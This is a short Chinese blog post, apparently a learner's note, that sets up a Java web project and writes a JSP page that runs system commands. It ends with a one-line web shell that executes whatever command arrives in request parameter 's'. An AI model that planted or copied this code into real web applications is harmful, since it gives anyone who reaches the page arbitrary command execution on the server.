首页 > 其他分享 >jsp一句话

jsp一句话

时间:2022-09-22 01:22:08浏览次数:41  
标签:一句 untitled5 jsp 3.1 org servlet javax

1.jsp一句话

最近在学习java web。。。

配置

pom.xml

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <groupId>org.example</groupId>
  <artifactId>untitled5</artifactId>
  <version>1.0-SNAPSHOT</version>
  <name>Archetype - untitled5</name>
  <url>http://maven.apache.org</url>
  <dependencies>
    <dependency>
      <groupId>javax.servlet</groupId>
      <artifactId>javax.servlet-api</artifactId>
      <version>3.1.0</version>
      <scope>provided</scope>
    </dependency>
  </dependencies>
</project>

如果没有3.1.0的依赖项

去打开模块设置->库

点+号,来自maven

搜索javax.servlet

index.jsp

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %><%--
  Created by IntelliJ IDEA.
  User: MuRKuo
  Date: 2022/9/22
  Time: 0:01
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
  <head>
    <title>$Title$</title>
  </head>
  <body>
  <%
    Process process = Runtime.getRuntime().exec("whoami");//此时没有回显
    //System.out.println("123");//在terminal中输出了
    InputStream is = process.getInputStream();//获取返回的数据流
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));//将数据流保存到buff中
    String line ;//初始化变量
    while( (line = bufferedReader.readLine()) !=null )//将buff中的内容保存到line变量里,判断回显内容是否是空
    {
      response.getWriter().println(line); //通过response将获取到的值打印出来
    }
  %>
  </body>
</html>

通过请求传参

Process process = Runtime.getRuntime().exec(request.getParameter("s"));

此时不带参数访问会导致500错误,因为参数没有传值

带上参数请求

标签:一句,untitled5,jsp,3.1,org,servlet,javax
From: https://www.cnblogs.com/murkuo/p/16717788.html

相关文章

  • 写.jsp项目有感
    本次练习了一个简单的登录界面我觉得在写这种类型的界面的时候,需要将各个需求分开,就以这次的登录界面为例展开说说1、登录界面输入框的居中问题、登录按钮的跳转问题、......
  • 功能:客户端发送一句话到服务器:(TCP)
    功能:客户端发送一句话到服务器:(单向通信)(TCP)客户端:packagecom.gao.Project.pro3;importjava.io.DataOutputStream;importjava.io.IOException;importjava.io.Outpu......
  • ueditor(JSP版)如何实现word文档的导入和下载功能
    ​ ueditor粘贴不能粘贴word中的图片是一个很头疼的问题,在我们的业务场景中客户要求必须使用ueditor并且支持word的图片粘贴,因为这个需求头疼了半个月,因为前端方面因为安......
  • jsp大文件上传解决方案支持分片断点上传
    ​前言:因自己负责的项目(jetty内嵌启动的SpringMvc)中需要实现文件上传,而自己对java文件上传这一块未接触过,且对Http协议较模糊,故这次采用渐进的方式来学习文件上传的原......
  • jsp页面ie跳转谷歌
    <%@pagecontentType="text/html;charset=UTF-8"language="java"%><html><head><title>首页</title></head><body><div><ahref="" onclick='test()......
  • Eclipse配置Tomcat搭建java Web (JSP)开发环境
    配置Tomcat服务1.打开窗口-首选项-Server-RuntiomeEnvironments2.点击ADD,选择对应的Tomcat版本,点击下一步路径选择Tomcat解压后的文件夹目录,点击完成并保存创建动......
  • springboot项目使用jsp
    异常问题场景提示:这里简述项目相关背景springboot课堂学习问题详情提示:这里描述项目中遇到的问题jsp无法访问原因分析提示:这里填写问题的分析没有jsp解......
  • 【一句日历】2022年9月
    【2022年9月1日·星期四】人在年轻时如果不知规划,余生都得东拼西凑,不得安宁,不享富足。                          ......
  • 2022-8-31 jsp el表达式
    jsp<%--JSP脚本片段:用于在JSP页面写java代码--%>注意:1、JSP脚本片段中只能出现java代码,不能出现HTML元素。在 访问JSP时,JSP引擎翻译JSP页面中的......
  • 有道词典_每日一句_2022/09
    09月 Youdon'tgiveupjustbecausethingsarehard.不轻易放弃。——2022.09.01  其他:有道词典_每日一句_总贴......